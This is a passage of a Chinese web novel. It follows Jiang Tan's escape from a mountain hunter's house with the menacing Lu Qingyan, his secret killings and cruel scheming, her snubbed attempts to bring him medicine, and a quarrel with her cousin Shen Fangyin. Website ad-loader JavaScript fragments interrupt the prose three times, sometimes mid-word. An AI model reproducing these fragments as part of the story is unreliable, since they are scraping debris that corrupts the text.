柴大娘一回来必定会寻找柴猎户,她一定会来陆青檐的屋子,查看他死了没有,这样就会发现柴猎户的尸体。 “嫂嫂,你慌什么?” 陆青檐好笑地看着她:“她只有一个人,而我们有两个人。” 姜昙竟没想到这一茬,她下意识的反应就是避让。 可是细思之后,姜昙还是摇头:“最好不要与柴大娘起冲突,这样我们走时会变得很麻烦。” 更何况,山中或许还有锦衣卫在。 陆青檐答应了:“好,我听嫂嫂的。” 姜昙于是就要出去:“你在屋里待着,不要出声,我去寻个理由把柴大娘打发出去一趟,趁此机会我们再走。” 陆青檐拉住了她。 “嫂嫂打算用什么理由呢?他们已将你视为俎上之鱼。若认定我已死去,便会与你撕破脸,怎么会因为你编的一个理由,就贸然离开呢?” 姜昙的确没有把握,直到现在,她也没有想到要用什么理由搪塞柴大娘。 陆青檐镇定一笑:“我去应付她,你不要出声,先悄悄从地道离开,在前面等我。” 姜昙紧张地拉住他:“那你又有什么理由?” 陆青檐低头,看着姜昙牵着自己衣袖的手。愣怔一瞬,姜昙反应过来,连忙放开。 “我自有办法,你先离开。”陆青檐将姜昙推进地道:“嫂嫂,你应当知道,危急关头,越是犹豫,死得越快。” 闻言,姜昙的心安定下来。 “那我走了,你多保重。”姜昙临走时,再三嘱咐:“我就在出口处等你,支走柴大娘,你尽快赶来。” “好。”陆青檐的眼中弥漫出笑意。 待姜昙走后,陆青檐推门而出。 柴大娘正趴在门上听动静,看到陆青檐,吓了一跳。 “你你你,你……”你怎么没死? 陆青檐面无表情看着她。 柴大娘咽了半天口水,腆着脸笑问:“我夫说,晚上找你有事要说,他——不在你这啊?” 陆青檐让开地方:“你想知道,自己进来看看不就好了?” 柴大娘便抻着脑袋往里看。 陆青檐忽然挥剑,刺中了柴大娘的肩膀,柴大娘发出一阵惨叫,见鬼一样瞪着他。 “嘘,别叫。若是被她听见就不好了。” 陆青檐笑着挥袖,又是一剑,戳中柴大娘的发髻,将她钉在门板上。 他的箭术和剑术,一如既往的差劲,果然他还是更喜欢人自己撞上来。 柴大娘已然吓傻了。 她看着眼前这个贵公子走出去,在院里放了一支烟花似的东西,在天上炸开,回来静静地坐着。 怎么也想不到,看起来几乎一直卧病在床的病弱书生,竟是这么一个凶狠的性子。 陆青檐眼尾通红,笑起来有些邪气:“看在你如此乖觉的份上,待会儿,我可让你死的痛快些。” . 柴家的地道中,姜昙听到地面上有一道尖锐的声音。 那是鸟鸣,还是什么? 姜昙侧耳细听了片刻,却什么也听不到了。 柴家的地道并不长,姜昙很快就到了出口。她在出口等了许久,都没能等到陆青檐。 犹豫片刻,姜昙折返回柴家去。 这一次,却在半路遇到了陆青檐。 “你……” 姜昙就要迎上去,忽然顿住脚步。她觉得他身上似乎多了点什么,有些不敢接近。 “我怎么?” 陆青檐笑时,连凝滞的空气也随之一松。 他摊开袖子,干干净净:“我好好的,也没有遇到山中的锦衣卫,他们应该不会再来了。下山的路,我们可以慢慢地走。” 陆青檐身为国公府长公子,定然知道许多秘辛。 姜昙知道,锦衣卫或许是追着陆青檐来的,他们知道陆青檐的动向,陆青檐自然也有办法知道他们的。 他说锦衣卫不会再来,那应该不会有错。 姜昙聪明地不去多问:“没事就好。” 月亮被云层遮住,下山的路一片昏暗。 姜昙一手拄着木杖探路,另一只手握着木棍的一端,另一端是身后的陆青檐。 他的眼睛看不清楚,姜昙主动提出,要牵着他走。 陆青檐摊开手,姜昙便从路边找了一根木棍塞到他手上。 知道他喜静,姜昙特意把木棍擦了又擦。 不过即便如此,陆青檐好像还是不喜欢。 握住木棍的那一刻,陆青檐的脸色算不上好看。 见他如此,姜昙更不敢耽搁。 撑着手杖,一瘸一拐地在前面探路,待确定可以走后,才扯一扯木棍,让陆青檐跟着她的脚印向前走。 只是姜昙的探路技巧实在不算高明,她原本就伤着腿,有时踩到一脚污泥,整个人立时栽下去了。 姜昙停住步子,陆青檐也跟着停下。 思考片刻,姜昙说:“长公子,为了我们能尽快赶到扬州城,接下来,我或许会有些冒犯之举。” “随意。” 陆青檐想,无非是蠢得栽跟头,带得他也跟着栽跟头。 接着陆青檐手中的木棍被抽走,衣袖被扯动。 牵着袖子走? 以她的脑子,也就只能想出这种办法了。 陆青檐抬了抬手,方便她牵。 不料下一刻,手掌中挤进另一只略小的手,先是试探性地、轻轻握住了他的。 犹豫片刻,握紧了。 “冒犯了。” 姜昙不好意思地说。 一直到山脚,陆青檐都没再出过声,只有姜昙时不时地提醒他:“小心脚下”“这有个坡”。 两人在街口分开时,姜昙絮絮叨叨,说了许多养伤的注意事项。 陆青檐一言不发,不知是记住了没有。 姜昙告别时,陆青檐终于出声了: “嫂嫂,能否请求你一件事?山上柴家之事,不要报官。” 姜昙答应了。 陆青檐说:“你不问问我,为什么吗?” “柴猎户已死,算是赎罪。他的妻子和孩子,尤其是虎子,手无缚鸡之力,不如放他们一条生路。” 姜昙笑说:“不知你是不是这样想的,不过应该差不多。” 陆青檐一顿,笑说:“对,我正是这样想的。嫂嫂以后也不要出现在他们面前,免得徒惹他们母子伤心。” 望着姜昙离去的背影,陆青檐的笑意逐渐消失。 他回头看了看山上。 那个他们曾养伤的柴家小院,原本应隐没在山林中,此刻却露出微微的火光。 . 回到扬州城,姜昙第一时间去客栈找紫珠,被客栈掌柜告知,紫珠早几天前就已回来。 只是担心姜昙的消息,雇了一群脚夫上山寻找姜昙,已找了两天。 姜昙便留了口信,托付掌柜告诉紫珠自己已经安全的消息,另寻了一个脚夫上山,去找紫珠的踪迹。 安排好这些,姜昙马不停蹄地去探施母的情况。 出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乎意料,施母好好地住在客栈里,甚至还吃胖了。 见了姜昙,洋洋得意地说:“这家客栈的掌柜是施家远房亲戚,水一淹上来,他就派人把我接了过来,好吃好喝地伺候着。” 问起施茂林,施母说:“我儿自然也在这住着。” 姜昙沉默半晌。 也就是说,施母并无事,施茂林一下山来就发现了此时。而在姜昙在山中待的这五日,施茂林没有上山找过她吗? 施母观察姜昙的神色,想起了什么,小心翼翼地笑:“不如你也住在这,和咱们一起。等渡口船能行,我们再一起离开。” 姜昙看着问:“施茂林在哪?” 施母神色略显慌乱:“我儿……我儿去武馆了,此刻不在这。” 姜昙便出去:“那我去他房间里等他。” 施母在后面追着劝:“男人的屋子哪是你一个做女人能随意翻的,万一翻坏了什么……” 姜昙管不了那么多。 一定有哪里不对! 姜昙一间一间地查看着屋子,碰到上楼的小二,抓住他问:“施茂林的屋子在哪?” 后头追上来的施母对小二使了个眼色,小二浑然没察觉她的意思,如实指着最后一间屋子。 姜昙不顾腿伤,大步过去推门。 施母瞪了小二一眼,追了上去:“妙仪,我儿真的不在这……” 姜昙进门就狠狠一怔。 门口有女子的绣鞋,手帕,粉色纱衣…… 往里望去,一路散乱的男女衣裤,一直延伸至紧闭的床帐。 床沿之上,还有一条鲜红的女子肚兜。 听到动静,床帐里探出一只白嫩的手臂,腕上一朵粉色桃花纹。 “她是谁?” 姜昙看着眼神游移的施母,平静闻道。 施母支支吾吾:“她是……我也不知道她是谁……” 施母甚至不知床上的是谁,就帮着施茂林遮掩。若是成婚后,还有多少事情被他们母子联手遮掩,唯独瞒着一个她。 姜昙闭了闭眼,胃中泛出一阵恶心,她想吐,却还是抑制住这股冲动。 怎么说也是一个女子,得留着体面给她。 “姑娘。” 姜昙踏进房门,正要关门,与这姑娘谈谈。 背后忽然传来一阵急促的脚步声,在门前猛地停住。 “阿昙!” 施茂林自身后紧紧抱住她,惊喜地说道:“你没事就太好了,我上山寻了你许久,都没能找到你,幸好你安然无恙。” 姜昙挣开施茂林的手臂,指着床帐里的姑娘说:“她是谁?” 施茂林面有疑惑之色,看向施母,又看向指路的小二。 小二嚷道:“客官,你找错屋了,往里走还有一个屋子,那才是施公子的居所。” 姜昙冰凉的身体渐渐回温,越来越热。 原来……搞错了吗? 姜昙立刻赔礼道歉,将门给姑娘好好地关上:“姑娘,对不住打扰你!” 床帐内的姑娘没有说话,反倒是姜昙面露尴尬之色,无地自容地走远了。 “阿昙。”施茂林连忙去追。 施母抻长脖子往屋内看了一眼,床帐被掀开,手臂上纹有桃花的女子露出全貌,面容娇媚勾人,看着她笑。 被子往下掉了掉,露出雪白的肌肤,从脖子到胸口,竟都是大片的红痕。 施母是过来人,如何看不出那是什么! 施母连忙捂住眼睛。 狐狸精!大白天的,竟是连衣服都未穿! 38. 第 38 章 姜昙回过神来,总是觉得十分抱歉。 她精心挑了些礼物,去先前敲错的客人居所赔礼道歉,敲了两下门,却不见有动静。 试着推了推门,竟已锁了。 小二说:“这位客官一刻钟前已退房走了。” 见姜昙一脸悔意,小二摆手说:“没事,客官走时说了,不怪你。何况施公子已赔过礼了,房费全记在他账上。” “这就好。” 姜昙捂着脑袋想,自己的性格真得改改,敏感多疑。 因为施母的支支吾吾的神色,就怀疑施茂林有了女人。 真是不应该! 施茂林出现在她身后,两人沿着楼梯慢慢走着,来到了客栈的后院。 此处无人,正适合说私房话。 “对不起,我不该疑你。”这是第三次了,第一次是送胭脂,第二次是佛寺门口,她闻到一股香气。 想来那时已经埋下怀疑的种子,因为没能说开,此刻才会产生误会。 姜昙向施茂林保证说:“我以后再不会怀疑你,凡遇到此种情况,只听你的解释。” 姜昙郑重地握住施茂林的手:“只要你说,我就信你。” 施茂林神色有一瞬间怔然,很快恢复如常。 姜昙来不及细看他的情绪,就被紧紧抱进了怀里。 施茂林喃喃道:“阿昙,再等我半个月,就半个月。半个月后,我就再也不……” “什么?” 姜昙听出他语气有异,想看他的脸,却被更加用力地按在怀中: “无事,我只是还不放下武举之事,我不甘心。” 姜昙微微推开他,从袖中掏出那封举荐信:“你若不甘心,便去试一试罢。有陆府的举荐信在,武师父一定会收你做弟子。” 可已经没用了。 阿昙,你知不知道,已经没用了。想要做武举人,靠的不是拳头,而是银子。 “好。”施茂林接过举荐信:“我会尽力去试试。” 紫珠打了好多个哈欠,终于等到姜昙出来。 “奇了怪了,往日这施公子总是依依惜别的,今天怎么连送也不送了?” 姜昙摇头:“他近日似乎心情不好,也许遇到了什么难事,只是不肯跟我说。” 紫珠扶着姜昙上马车,边说:“那就不要问了。夫人说过,别人捂着不愿意给你看的东西,你若是硬要扒开,好比伤口上撒盐,他就会很伤心的。” “你说得很对。” 姜昙想到了陆青檐,他也是这样。与人相交,言行举止总是露出一面,藏着一面。 也许他也有难言之处,不能让人探寻。 姜昙掀开车帘:“去最好的药铺。” “姑娘有何处不适吗?”紫珠疑惑道:“而且姑娘以前不是说,药材的品质大差不差,没有最好的,只有最贵的。多花银子买药的人,一定是笨蛋吗?” 姑娘如今也要当笨蛋了吗? “不是我,是……” 姜昙顿了顿,笑说:“是一个朋友。” “姑娘又交了新朋友?” 姑娘已经很久不交朋友了,紫珠好奇地问:“是什么样的朋友?” “是一个对我有很大恩情的朋友。他不缺金银,不缺美食,好像什么都不缺。” 姜昙也只有一身医术拿得出手,还是已经生疏不少的那种。 可是,陆长公子好像也不缺良医,她能回报的东西如此有限。 摊开十指,算来寥寥。 姜昙说:“他受了伤,我想,至少要关照他至完全痊愈。” 紫珠说:“施公子说再留半月,而俗话说得好,伤筋动骨一百天。姑娘可得抓紧了。” 有道理。 姜昙想,她明天就去。 . 陆青檐正坐在躺椅上,手上拿着信件,听着邓显禀报。 “……于山上剿杀锦衣卫二十二人,俱是汤氏亲信,按照长公子先前的意思,没有活口……望京汤氏那边,或许会迁怒于公子……” 长公子没有动静。 邓显抬头看了一眼,陆青檐闭着眼睛,信件搁在手上,好像睡着了。 他正要悄声离开,陆青檐却问:“柴家那个蠢儿子在哪?” 邓显连忙道:“在柴房关着,发烧了一天一夜,刚才醒来。只是,他似乎不记得自己姓甚名谁,忘了父母双亡之事。而且……他好似恢复了神智,不傻了。” “大夫说或许是有什么刺激到了他的脑子,才会变成这样,记忆也不知何时回来。为保稳妥……” 邓显低声问:“长公子,要不要杀了他?” “杀了有什么意思?” 陆青檐没想到他还能恢复神智,眼前浮现柴大娘死前的情形。 柴大娘哀求道:“求贵人留小儿一命,他只是个傻子。” 可他现在不是傻子了。 陆青檐想了想,忽然想到一个有意思的处理办法:“告诉他,父母死于贼人之手,培养他学艺报仇。师父么,就让刘武担任,师徒如父子,他们以后的感情一定很好。” 长公子那夜放了烟花,召来了刘武,柴大娘正是刘武杀的。 等到复仇时,发现师父就是仇人…… 邓显叹道:“是。” 完成了一件有意思的事,陆青檐心情很好。 他从躺椅上起来,手中雪片一样的信件随着他的步子,悠悠地晃着。 门外有下人来报:“长公子,有客求见。” 邓显斥道:“长公子是随便什么人想见就能见的?回绝!” 此刻他们在一个酒楼内,为了清静,整个二楼都被包了下来,楼下还有人阻拦外客。 这人能知道他们在这,想是先去了陆府打听,追得够紧的。 “等等。” 邓显忽然想到什么,问:“来人可有自报姓名?” “说是公子的朋友,姓姜。” 闻言,邓显立时回头,看了一眼陆青檐。 陆青檐站在窗边。 这个角度,正好把酒楼门前的动静尽收眼底。 姜昙又掏出一个银角,放在小厮的手上:“我真的是陆长公子的朋友,而且我只是来送药,送完就走。” 小厮扭头看了看没有动静的楼上,不敢接: “小姐恕罪,咱们酒楼的规矩就是这样,不得请帖,不许入内。您就别为难我了。” 姜昙从陆府里打听了好一通,才得到陆青檐在此的消息。 紧赶慢赶到这里,却被拦在门外,磨破了嘴皮子,小厮也不肯放她进去。 再这样下去,药要冷了。 邓显在一旁看了许久:“长公子不愧是长公子,短短几日,就让姜姑娘如此挂念。” 他看着姜昙在门口不安地转来转去,叹道:“现在放姜姑娘进来,她定会与长公子感情愈深,一切如计划那般。” 陆青檐却说:“不许放她进来。” 这不是把姜姑娘越推越远么?长公子打算放弃先前的计划了? 说话间,姜昙将手中的食盒放在地上,匆匆对门口小厮说了句什么,立时跑远了。 糟糕,姜姑娘等不及了,于是托小厮转交东西了。 邓显扭头一看。 陆青檐果然蹙眉,手中的信件被攥得死紧,快要揉烂了。 “谁许接的!” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >陆青檐怒不可遏,将信件摔在桌面上。 邓显朝下人猛使眼色,趁姜姑娘还没走远,快追! 可没等那下人到门口,姜昙已从不知哪个缝隙里,钻了出来。 姜昙在门口站定,向小厮道谢,小厮抹了把汗:“你可算回来了。” 姜昙微微一笑,将手中买回来的东西放入食盒。 小厮这才看清楚,那原来是一个小炭炉,专门用来热药。小厮对这一带熟,知道这附近没卖炭炉的店,这小姐估摸跑了挺远。 姜昙放好炭炉,将食盒提在手里,在墙角找了个位置站着:“我就在这等着。” 加了炭炉的重量,那食盒估摸不轻,看着姜昙右手累了换左手,就这么换了几轮。 小厮看不过去,给她递了把凳子。 陆青檐方才的怒意,在看见姜昙的那一刻,统统散尽。 可是他依旧没有请姜昙上来的意思。 姜昙等待的时间已经够久了。 “长公子。”邓显看了看昏暗的天色:“快下雨了。” 路上的行人四处躲避,皆往家飞奔。 雨下了一会儿,开始变大。 连门外的小厮都受不住,要进去待着了。 姜昙请求说:“也让我进去躲一躲雨吧,或者让我的食盒进去也行,若淋了雨,炭炉会灭的。” 小厮挣扎了一会儿:“不行。” 无论怎么哀求,那小厮都不肯答应。 姜昙不明白,就放进去一个食盒而已,又不多占地方,怎么就不能通融一下? 可这是大酒楼,如小厮所说,大酒楼有自己的规矩,姜昙进不去,也只好在门口站着。幸而门口有一处屋檐,勉强可遮一点雨。 不过,食盒就遮不住了。 想了想,姜昙蹲在墙角,将食盒严严实实地抱在怀里。 长公子竟还不打算让姜姑娘进来,长公子究竟要做什么。 若要加深两人的情谊,此刻是最好的时机啊。 可陆青檐的神情,说不出是恼怒还是不耐,素来被旁人成为七窍玲珑心的邓显,竟然一点都琢磨不透。 因为这种神情,邓显从没见过。 无论何时见长公子,他都是众星捧月的模样。 身边从不缺奴仆,令他憎恶或是愉悦之事,只要他提,立时有人去办。 长公子的情绪来得迅疾如雨,而此刻,他却突然静了下来。 雨下了多久,陆青檐就在窗边站了多久。 忽然,躺回椅子上,闭目养神,不再关注姜昙的动向。 “赶她走。” 竟真的不打算见姜姑娘了。 邓显诧异地召来下人,传达长公子的命令。 邓显眼看着姜昙无措地站起来,浑身落汤鸡一样,或许与小厮据理力争了几句,却依旧不甘心地被赶走了。 姜昙的身影消失在巷子里。 邓显暗道可惜,这么好的机会。 眼看着姜姑娘对长公子如此挂念,若是让她上来,在她失落之时,温柔抚慰几句,想必会让她更加死心塌地。 可惜啊。 邓显瞄向桌上,方才长公子不离手的信件,不过方寸大,上面是密密麻麻的簪花小楷。 原来是姜昙曾写给他的情信。 陆青檐这次是真的睡着了,一直到天黑才醒来。 “陆公子回府——” 小厮扯着嗓子,下人们齐齐让路。 门外有下人站成一排,提着灯笼,照亮了阴湿的巷道。 陆青檐弯腰上了马车,正要吩咐车夫前进,忽然听到一声:“等一等!” 姜昙。 她竟还在。 39. 第 39 章 姜昙在外面说:“陆长公子,终于等到你了!” 陆青檐沉默,许久才问:“嫂嫂等我做什么?” “我给你熬了甜汤,用药材熬的,对恢复外伤有奇效。” 姜昙费力将食盒推举至马车窗口:“你要不要尝一尝?” 陆青檐这才缓缓掀开车帘,他的眼神从食盒上,辗转至姜昙被雨水打湿的脸上、身上,看了许久,并没有伸手去接。 “嫂嫂熬的,我自然得喝,你交给下人就好。” 姜昙顿了顿,递给陆府下人。 陆青檐的笑容一如往昔和煦:“嫂嫂在这等了多久,我下午忙于公务,方才得闲,你怎么不进去?” 说着,他转头斥道:“下午是谁当值,竟敢把陆府贵客放在门外?” 姜昙看了一眼门口苦着脸的小厮,连忙摆手:“没有,我等了没多久。” 陆青檐笑:“那就好,我还以为嫂嫂等了许久,听下人说那时下了雨,若真是那样,教我怎么过意得去。” 姜昙也笑:“你尝着好喝,明日我还给你送。” “我自然求之不得。” 陆青檐向姜昙告别:“只是我这几日公务繁忙,嫂嫂就算来了恐怕也得等上许久,还是不要麻烦了。” “不麻烦,不麻烦。” 姜昙说:“那说好了,明日我还来见你。” “好。”陆青檐笑着挥手。 马车开始行驶,邓显亲自把食盒送进马车,道:“下了这么大的雨,食盒竟丝毫没有淋到。” 他把甜汤端出来,一摸,笑说:“长公子,还是热的,此时喝正好。” 陆青檐忽而扬手,将甜汤从车帘处泼了出去。 邓显一惊,连忙跪地告罪,小心揣测长公子的态度。 然而陆青檐再次露出了邓显看不懂的神情。 他揉着额头说:“去一丝湖。” 邓显诧异地看了他一眼。 . 粉黛正在跟嬷嬷学梳妆,她如今是庸少爷面前得脸的人。 身边的小丫头学了奴才们的话,说是已把她当成了半个主子。想来被庸少爷提做姨娘,也是早晚的事。 粉黛听了这话,并不觉得意,反而有些苦涩。 只有她自己知道,庸少爷并不如面上看的那般可亲。在庸少爷眼里,她恐怕还不如笼屉里的蛐蛐儿。 这般想着,粉黛忽然听到外面传来人声,接着便是庸少爷近前的小厮,急急忙忙地闯进来: “少爷回来了!” 每当庸少爷在外过夜,回来必定是醉醺醺的。只有近前的几个人知道,那不是因为喝了酒,而是服了一种药。 庸少爷有时会头疼,只有喝了那药才会缓解些。只是药性发作时会脾气暴躁,药性过去后就会困倦不堪,得睡一觉才好。 这时候是最不能打扰的,若是有人吵醒他…… 粉黛不愿回想那个小厮的下场。 故而听到庸少爷自一丝湖流连一夜后,粉黛并不争着往前去,默默站在一旁。 可小厮却指着她说:“粉黛姑娘,邓先生点名要你去伺候。” 粉黛诧异不已:“庸少爷没喝酒吗?” 小厮:“滴酒未沾。” 可是庸少爷头疼的时候,若是清醒的,恐怕会更吓人。 小厮又说:“邓先生还吩咐,少爷喜欢听琴,要你带一张琴过去。” 可是,她根本不会奏琴啊。 粉黛走进屋子的时候,发现一地断了线的佛珠。 她认出来,那是庸少爷从不离手的骨珠。 陆青檐坐在地上,怀里抱着一个骷髅头。 他的手掌放在骷髅上,指尖发白,可以看出来很是用力。 陆青檐头痛欲裂。 “谁在那?” 听见动静,陆青檐微微抬头,他看不清了。以往白日,他从未有这种情况,这次约莫是疼得狠了。 “是奴婢。”粉黛声音颤抖:“邓先生让奴婢来奏琴给少爷听。” 陆青檐收回眼神,并没有说话。 粉黛战战兢兢地拨弄起来。 她不会奏琴,却也知道,若是乱奏琴会惹人心烦。于是只一弦一弦地拨弄,努力学着主子们的样子,发出声音。 琴音难以入耳,陆青檐面上的神情却逐渐放松下来: “说些话来听听。” 庸少爷是嫌太安静了吗? 粉黛努力想着可以说的话题,下人们之间的闲话庸少爷定不愿意听,或许他愿意听主子们的事。 “茵小姐许多日不见人,原来是去了京城,近日才回来。她忽然喜欢上了奏琴,日日在月牙阁练习,站在院子也能听见她的琴音……” 粉黛忽地一停,茵小姐喜欢庸少爷。月牙阁离此处不远,她奏琴莫不是为了给庸少爷听? 陆青檐睁开眼睛。 粉黛回过神来,心头一跳,正要下跪讨饶。 门外却有不怕死的小厮来通报:“少爷,那位……姜姑娘,又来了。” 陆青檐站了起来。 粉黛觑见他的脸色,连忙和门外的小厮一起跪伏于地。 往日姜姑娘在时,庸少爷总是笑着的,可如今他的脸色,怎么更难看了? 寂静之中,只听陆青檐问:“你方才说,沈芳茵在月牙阁?” “是。” 陆青檐对小厮说:“去跟她说,我在月牙阁等她。” 她是指姜昙,而粉黛听说,去京城前,茵小姐与姜姑娘闹翻了脸,若是再次见面…… 以茵小姐的手段,恐怕不得善了。 . 姜昙在树荫里坐着等。 她寻了个好地方,还铺了张帕子,就算下雨,也淋不到她头上。 而且这一次,她做的药膳是温凉的,不需加热,药性就会很好。 小厮火急火燎地出来,看到姜昙,面露为难:“对不住,姜姑娘,少爷不在院里,而在月牙阁,你可去那找他。” 姜昙奇怪地问:“不是你说,要进去通报一声吗?” 若人不在,那还通报什么? 小厮神色一僵,随即苦哈哈地说:“您不知道,咱们院里管事嬷嬷吩咐过,不得对外人透露主子的行动。我还特意说您是少爷的朋友,她才告诉我少爷在哪的。否则连我也不知道。” 原来如此。 姜昙说:“那可否请您跟我一起去,我对陆府这个院子不熟悉。” 小厮连连摆手:“管事嬷嬷说,下人不得离开院子,您还是自行去寻吧。” 说着,小厮递来一个食盒:“这个食盒里装着少爷急要的一样东西,您是少爷信任的朋友,所以还请你一起带去。” 姜昙一掂,还挺沉。 然而小厮连连哀求,看在上次他给自己递了张凳子的份上,姜昙答应了。 路上一个好心的丫鬟指路,姜昙发现月牙阁并不远,可修的九曲回廊实在漫长,姜昙歇了好多次。 无他,陆青檐要的食盒太重了。 废了好一番工夫,终于来到了月牙阁。 姜昙正要上楼,迎面疾步走出一个香风拂面的美人。 姜昙一闻这味道就觉得要糟,迅速掉头,却还是被看见了。 “站住!” 沈芳茵噔噔噔带人拦住她。 陆府之内,也没有哪位美人小姐走路如此着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 急了。 “茵表妹。”姜昙调整表情,含笑问好。 “谁是你表妹!” 沈芳茵上前狠狠推了姜昙一把,姜昙握不住食盒,果断放开了自己做了药膳。 药膳洒到地上,沈芳茵一看就来气:“都是因为你!我娘硬要把我送到京城那么远的地方,还让我背那么厚的医书!姜妙仪,你真是一个白眼狼,我好心好意带你来扬州,让你在陆家白吃白喝,你却这么回报我!” 说着,她指挥身边两个丫鬟一起上,要将姜昙手里的另一只食盒也扔掉。 姜昙将陆青檐的食盒护在身后:“茵表妹,你误会了,这不是我的主意,而是大姑奶奶自己做的决定。陆府算是书香门第,择媳自然要找一个识文断字的。大姑奶奶是为了你好。” 沈芳茵气不打一出来,完全听不进去:“给我砸!” 姜昙挣不过那两个丫鬟,急忙安抚:“你忘了那三个月的信吗?” 沈芳茵顿住了。 丫鬟看沈芳茵顿住,手上不再使力,姜昙将食盒夺了回来。 “茵表妹,你仔细想想,若是学会写字,练好簪花小楷,就不必费心遮掩谎言。更何况,你去了一趟京城,应该也见识到了那里的府邸有多大了吧?” 姜昙说:“那么大的家业,那么多的庄子、铺子和奴仆,若是不识字,将来怎么管账、做好一个贤妻呢?” 听完这番话,沈芳茵自然想起了陆青檐。 姜昙说得一字不差,她去了京城一趟,才知国公府有多大,比沈家、扬州陆府还要大,转着转着就迷了路。 若将来嫁过去,她恐怕还要找一个识路的丫鬟随身。 沈芳茵听了进去,情绪不再激动,可她——还是不甘心! 趁姜昙放松之时,她给两个丫鬟使眼色,一把将食盒抢了过来。 “话是这么说……” 沈芳茵悠悠地提过食盒,察觉它的重量,噗通一声扔到地上。 看着姜昙紧张的神色,沈芳茵笑了笑:“可终究是你出的主意,才害我吃了这么多苦!不狠狠地出气,我就不开心!” 姜昙盯紧沈芳茵,看着她的手掀开食盒一条缝,连忙说:“茵表妹,你想要怎么开心都可以!” 这么紧张啊。 沈芳茵露出个不怀好意的笑:“什么都可以?” 姜昙看着她的手收回来:“都可以,只要茵表妹开心。” “那我可得好好想想了。”她围着姜昙转了一圈,发现她穿得很厚。 刚到秋天,还有暑热,她竟穿上了深秋的衣服。 沈芳茵想起来,以前见姜昙的时候,她就总是这样。 姜昙怕冷。 沈芳茵想到了一个好主意:“看见那边的荷花池了吗?秋天已到,枯荷碍眼,本小姐不舍得侍女劳累,你替她们去一趟。” 沈芳茵的笑明媚如春光:“表姐,你把荷花池里的残荷都捞干净吧。” 她指着地上的食盒说:“只要你捞干净,我就还给你。” 荷花池几乎占据了半个院子,姜昙想也不想:“好。” 总归是她欠沈芳茵的,算计人心得到的好处,总要付出点代价。 姜昙说:“只是你要答应我,不能动食盒,不也能掀开看,若有丝毫损伤……茵表妹,你应该知道我的手段。” 待姜昙去捞残荷,沈芳茵犹豫了一瞬,还是掀开了盖子。 她怎么会怕姜妙仪,她不该怕姜妙仪! 看清食盒里东西的那一刻,沈芳茵松了一口气:“切,看的那么紧,还以为是什么宝贝!” 只是一颗破石头,难怪那么重! 沈芳茵重重踢了一脚。 40. 第 40 章 姜昙用树枝和木棍做了一个网兜,花了一个时辰,才将残荷都捞干净。 做完这一切,姜昙思考片刻,觉得沈芳茵定然看不得自己这么轻松的。 于是将鬓发扯乱了些,又将地上的污泥抹在衣袖上。 对着池水照了照,确定自己的模样看上去“狼狈不堪”,才回去复命。 沈芳茵老远就闻到一股土腥味,捂住口鼻连连后退:“站那里,离我远些!” 姜昙便站在那里,任她打量。 沈芳茵皱着眉看着姜昙,暗暗想道,姜昙看上去是一个不会低头的人,竟然还真去捞残荷了。 头发是乱的,衣服也是脏的,整个人脏臭得很,比陆府里做苦力的下人还狼狈。 沈芳茵早就知道,姜昙在她面前,看起来任劳任怨,可并不和其他的下人一样卑微。反而有主意得很,总是拿捏住自己,除了听她的话,自己总是无计可施。 可算教她难堪一回! 沈芳茵的怒气转眼消了大半。 沈芳茵带着两个丫鬟,装模作样站在莲塘前看了看:“做的不错,你可真听话。” 要不,就这么放过她吧。 毕竟姜妙仪说的不错,这事原本和她也没有多大关系。更何况,她因此和大表兄相处了快整整一月呢,虽然…… “姜姑娘!” 粉黛急急忙忙地跑了过来,挡在姜昙面前,态度十足谦卑:“茵小姐,姜姑娘是客人,茵小姐大人大量,若有什么冒犯之处,不要和她计较。” 沈芳茵愣了一愣,怒意再起。 好哇,她早就听说,这个贱丫头离了自己攀了高枝,还抢了她的庸表兄! 原本想撕了她,却被娘亲塞到了去京城的马车上,现下可算找到机会了! 大人大量……是在讽刺她肚量小么? “粉黛,本小姐的狗呢?你把本小姐的狗弄到哪去了?”沈芳茵恨恨地笑:“你原本只是一个伺候狗的玩意儿,竟然敢痴心妄想,爬上主子的床!不要脸的东西!” 姜昙看着沈芳茵的脸色,变得越来越差。 她不知这两个人是什么纠葛,但粉黛原本想护她,看起来却把沈芳茵惹得更生气了。 这样下去可不好,沈芳茵是个情绪上头,就能支配脑子的人。 “慢着。”姜昙安抚粉黛,想将她拨到身后去。 粉黛却蓦然变了语气:“是啊,奴婢原本只是一个伺候狗的玩意儿。不过今时不同往日,奴婢现在伺候的是庸少爷,茵小姐说这话,是说庸少爷是……” “你个贱蹄子!” 沈芳茵将两个丫鬟都推出去:“给我撕了这张嘴!” 姜昙顿时头大,沈芳茵的丫鬟不知是不是随了她,力气竟格外地大。 四只爪子扑过来,粉黛抵挡两只,毫不客气地挠了回去。 姜昙对付另外两只,可惜姜昙指甲圆滑,十指秃秃,很快下巴被抓了两道长长的血痕。 推搡之间,粉黛又说:“茵小姐,叫你一声小姐是抬举你,谁都知道你只是一个表小姐。而庸少爷是国公府的长公子,陆家正儿八经的少爷,劝你不要不识好歹,敢伤了我们一根头发,庸少爷定厌恶极了你,要你好看!” 沈芳茵大叫一声,扑进了战局。 三对二,结果在意料之中。 粉黛一脸不服气,怒瞪着沈芳茵。 姜昙力竭,不被制住手脚,也瘫坐在地上: “茵表妹,你打也打了,骂也骂了,无论如何,粉黛终归是长公子院里的人。若是生了怨,难免伤害你们二人之间的感情。” 姜昙说:“而且我听说,长公子或许会来月牙阁,你如此形容,是不是该回去好生梳洗一番?” 沈芳茵低头一看,自己的衣服被扯破了,摸了摸脸,一手粘腻的脂粉,先前静心化好的妆容都被弄花了。 “你们等着!” 沈芳茵理了理鬓发,就要离去,忽然看到粉黛无声笑了笑:“丑八怪。” 好好好。 姜昙说再多,总归是护着这个贱蹄子,宝贝她那块破石头,一点都没有为自己考虑的意思! 沈芳茵提着食盒走近:“姜表姐,你说得对,食盒还给你。” 姜昙伸手去接,沈芳茵嘴角冷笑,将食盒放在地上,一脸踢进了池塘。 食盒沉重,翻滚到水中,眨眼就陷了进去,不知所踪。 “沈芳茵!” 姜昙这下是真地生气了,沈芳茵被她一叫,竟有几分慌乱。 被娘亲训斥时,被大表兄称呼名姓时,她都会如此心慌。 可姜妙仪是什么人,竟敢训斥我? 